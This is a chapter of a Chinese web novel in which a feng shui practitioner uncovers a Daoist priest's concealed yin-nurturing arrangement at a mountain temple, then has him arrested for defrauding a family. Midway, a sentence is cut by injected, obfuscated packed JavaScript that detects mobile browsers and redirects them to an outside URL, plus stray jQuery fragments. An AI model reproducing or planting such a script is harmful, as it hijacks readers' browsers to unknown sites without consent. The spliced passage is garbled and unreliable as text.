一行人开了一小时车到达青龙山脚,夜里的山路不好走,摸黑走了二十多分钟,才终于看见青龙观。
道观坐南坡,靠青山,山环水抱,藏风聚气,不像有阴煞的样子。
保险起见,陆修望带来的人屏蔽了附近的信号,陆叙也给他塞了好几个护身符,专业人员巧妙的处理了一下门锁,两人就这么堂而皇之地进了道观。
陆叙打开手电,光束压得很低,只照脚下,一对石狮子守在朱漆大门两侧,空气中弥漫着淡淡的松柏香气,前院中央的三层香炉鼎静静矗立,周围的回字形路径弯曲有致,这布局,比某些所谓的“洞天福地”有过之而无不及。
两人没急着进殿,而是沿着院墙慢慢走了一圈,陆叙时不时停下脚步,蹲下身看看地砖的走向,又抬头观察房檐的位置。
院子修得很规整,花台、香炉、石桌的摆放都很讲究。转了一圈,他的眉头反而皱了起来。
“有问题?”陆修望压低声音问。
陆叙闭眼凝神,能感觉到一股暖融融的阳气在庭院中流动。
“这前院的格局太好了。”他睁开眼,“水口开在乾位,房屋压着离宫的正位,气场流转顺畅,再加上平时香客多,阳气很旺。”
“那不是好事?”
“问题就在这儿。”陆叙皱起眉,“前院香火这么兴旺,怎么舍得让气外泄?这个宅子气场微微向北倾斜,气都往后院走了。”
如果这是个普通道观,没人会去在意这些细节。
他转身看向后院:“前院做得这么正,气场流动又做得隐蔽,后院肯定有问题,过会得仔细检查。”
两人走到正殿门口,陆叙推开门,手电照进去。殿内布置简单,正中间供着一尊神像,墙上挂着些常见的法器,烛台上还有未燃尽的香烛,看得出来香火很足。
陆叙走近神像,手电的光照在神像的脸上,他盯着看了好一会儿。
陆修望注意到他的表情,忍不住问:“这神像有问题?”
陆叙点了点头。
那祖师像身着道袍,手持拂尘,面容慈祥,但总觉得哪里不对劲。外形塑造多了一丝刻意的锐利,整体不像传统祖师的超然脱俗,雕像的衣袍褶皱处,似乎有一些不属于传统道家祖师的配饰纹路。
陆修望看了半天,啥也没看出来。
陆叙蹲下身,借着手电的光仔细观察底座:
“你看底座的铭文。”陆叙指了指,“正殿贡的应是正统祖师,三清太上,或者他师承的闾山真人,但这尊像字迹模糊,难以辨别。”
“他做得很聪明。”陆叙站起来,“表面上完全符合规矩,挑不出毛病。但实际上,他供的应该是他自己的师父,或者他师承那一脉的私家祖师,只是用了正统道门的形制包装起来,借正统之名行私事。”
他看了看正殿的布局:“气在这里最盛,却被引导向后,这殿堂怕是整个局的幌子。”
两人穿过侧门,经过一条长廊,伪装成墙饰的风铃在夜风中发出低沉的鸣响,更印证了陆叙的猜测。
后院比前院小得多,表面上看清幽宁静,竹林婆娑,中央一棵老树矗立在石坛上,水潭里养着鱼,亭子下石凳整齐。
花台的位置,水缸的摆放,甚至连墙角堆着的几块石头,都透着股说不出的讲究。
但陆叙立刻感觉到不对,空气转凉,阴风从后山吹来,带着一丝滞重的湿气。
阴气来源就是那棵不算高的老树,树干扭曲,枝叶稀疏,上半部分分出两根粗枝,像是伸展开的手臂,再往上的枝条垂下来,远远看去,很像一个穿着长袍的人站在那里。
“罕见的雷击木。”陆叙走到树边打量,“被雷劈过不止一次,没死,又活过来了。”
他蹲下身,看了看树根周围的土。土壤略显潮湿,土色发黑,隐隐有聚阴的迹象。树根旁边埋着几个小坛子,坛口用黄泥封着,看起来已经有些年头了。
他绕着雷击木走了一圈,发现水潭看似平静,但水流滞缓,底部暗沟隐现,这是死水煞,竹林后,一块尖角岩石被藤蔓遮掩,隐隐指向雷击木,箭煞,亭子在特定时间会反射月光,这是借天时的光煞。
陆叙站起来,整体看了一遍后院:“前院聚阳,后院阴煞,两边气场一正一邪,全部用来养这棵树。”
“为什么要养树?”陆修望问。
“不知道,大概是为了养某种阴邪。”陆叙摇了摇头。
“坛子里埋的肯定是生灵遗体,也是用来抽取生机供养雷击木,”陆叙指了指那些坛子,“花台下面应该还有更多,低洼的地势让阳气在此积聚,却被这些隐煞转化,一个看起来普通的花园,实际上是再好不过的养鬼地。”
陆修望看着那棵树,再看看周围那些看起来普通的花草,突然觉得有点不舒服。
“这人确实厉害。”陆叙说,“聚阴抽生,阴阳合流,做得天衣无缝。”
“那你是怎么看出来的?”陆修望问。
“我之前跟着我师父处理过类似的事,但也只见过一次,我对这种局的所有了解都来自于那次经历。”陆叙说,“这种手法,一般人学一辈子都不能做到,所有不对劲的地方都被掩饰住,普通道士碰到也发现不了异常。”
两人回到前院,陆叙又看了一眼正殿里的神像。
“整个观里没有任何施咒的痕迹。”陆叙转身往外走,“做局的时候没留下任何把柄,就算有人来查,也找不到任何证据。”
回到酒店,陆叙把今晚看到的东西简单记录下来,这一趟基本算是白跑,这个新观显然不是他动手脚的窝点,山上那个老观才是。
他关闭记录软件:“这个杨金水,来路绝对不简单。”
“那明天怎么办?”陆修望有点担忧。
陆叙露出一个狡黠的笑容,凑到陆修望耳边低声说了几句。
陆修望听完,忍不住也笑了:“你怎么能阴成这样。 ”
陆叙装出一副深沉的样子:“我做这行最忌误时辰,行事就讲一个实用,速战速决,达到目的就行,管他用的什么方法。”
上午八点,两人再次来到青龙观,陆修望的人在山脚等人,观门没开,陆修望随手敲了敲。
很快门打开了,清和道长走出来,穿着干净的道袍,脸上挂着温和的笑容,和照片没区别,看起来就像个慈祥的长者。
道士抱拳行礼声音温和:“贫道昨日去镇上办事,不在观中,二位可是昨晚来过?”
陆叙心里一惊,但面上不动声色:“道长说笑了,我们今早刚到安市。”
道士笑了笑,也没追问:“那是贫道想岔了,二位里面请。”
“不知二位缘主来贫道这小观所为何事?”道士跟在后面,声音温和。
“听闻道长道法高深,擅长解决疑难杂症。”陆叙从口袋里掏出手机,调出许瑶哥哥的照片,“想请道长帮忙看看这人的命数如何。”
道士接过手机看了看照片,脸上的笑容却没有丝毫变化。
“这位是?”
“我大舅哥。”陆叙打量着他,随意开口,“他体质不好,运气也不好,求医问药不管用,听说道长这里灵验,所以想来请教。”
道士抬起头,叹了口气:
“此人面相恐难长命,贫道也无能为力,”他摇摇头,“此乃天命,非人力可为。”
“天命?”陆叙冷笑一声,“道长的意思是,是老天非要他死?”
道士脸上的笑容收敛了一些:“生死有命,贫道也只能尽人事听天命,两位请回吧。”
“那如果我说,”陆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099179|195686||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叙盯着他,眼神里满是嘲讽,“这不是天命,而是人为呢?”
空气安静下来。
道士脸上的笑容终于消失了,他抬起眼看向陆叙,那双原本温和的眼睛里闪过一丝冷意。
“施主这话是何意?”
气氛剑拔弩张,陆叙脸上却露出得意的笑容,他双手抱胸靠在门框上:“我的意思是,清和道长,你敲诈我女朋友父母大笔钱财,无证上岗,组织违法邪术活动,”他故意顿了顿,“我已经报案了。”
清和道长脸色骤变,转身往后门跑去,也就在这时,院门外传来脚步声。
几个穿着便衣的人走了进来,陆修望看到来人,脸上露出一个无奈的笑。
“杨金水先生,有人举报你涉嫌诈骗,请配合调查。”为首的人没和陆修望寒暄,只是冲道士出示了证件。
清和道长脸色铁青,但还是维持着表面的平静:“贫道给人看相算命,何来诈骗一说?”
“证据确凿。”那人看了看手里的材料,“许先生一家前后给你转账近百万,你这看的什么相,算的什么命,还挺赚钱。”
清和道长还想辩解,那人打断他:“过会儿有的是时间听你说,现在请跟我们走一趟。”
清和道长看了陆叙一眼,眼神冰冷:“你真是好手段。”
“过奖过奖。”陆叙笑得更开心了。
其实昨晚回到酒店后,陆叙本打算让陆修望打点一下关系,先把杨金水请去问询,拖延几天时间,他好趁机进老道观仔细查看。
但许瑶那边传来了意外消息,她趁父母熟睡,在他们的手机、电脑等设备上找到了大量转账记录,还有和姑姑的聊天记录,以及一些法事现场的照片。
这些证据虽不能坐实牵涉邪术,但证明清和道长诈骗已经够了。和杨金水的聊天记录虽然谨慎,但和姑姑的聊天记录却没特意遮掩,涉及“做法费用”“法器费用”“后续费用”的事宜,清清楚楚,也能作为证据。
陆叙拿到这些证据后,立刻改变了计划。既然有实锤,何必还要费劲打点关系?让许瑶直接报警反而更省事。
陆修望虽然觉得这招有点损,但也不得不承认确实有效。
院门外又传来脚步声,这次是许瑶。
她背着个包,眼睛红肿,脚步有些虚浮,应该又是一夜没睡。
“陆先生。”她声音有点哑。
“你怎么来了?”陆叙看了她一眼,“你不应该去配合调查吗?”
“我给我父母发了我报警的消息,如果他们还有一点脑子,就自己去处理这件事,我现在只想把我哥的魂魄找回来。”
许瑶从包里掏出手机,调出些截图和照片,递给陆叙。
陆叙翻了翻,脸色也有点不好看。那些聊天记录里,姑姑反复强调“只有用妹妹的运才能救哥哥”,许瑶父母的回复也很配合,甚至有“只要能救儿子,女儿的命都可以”这种逆天言论。
陆叙叹息:“真是罔顾人伦。”
许瑶接过手机,嘴角扯出一个苦笑:“我昨晚看到这些的时候,简直难以置信。”
“他们以前对我真的很好,我一直以为他们是爱我的。但现在我才意识到,可能连我的出生,都是为了解决哥哥的不幸。”
陆修望站在一旁,有些不知道该说什么。
许瑶随意擦去眼泪:“我哥死后,这个贱人道士甚至还说,是因为我执意去外地上班,影响了法力效果,是我害死了我哥。”
她深吸了一口气,脸上的表情从悲伤转为释然:“但我现在什么都知道了,反而轻松,我哥走了,我也不欠他们什么。”
许瑶看向陆叙,郑重地说:“陆先生,我会把我那些首饰包包全卖了,不管多少钱我都愿意出,我哥哥的事,还得再请你帮忙。”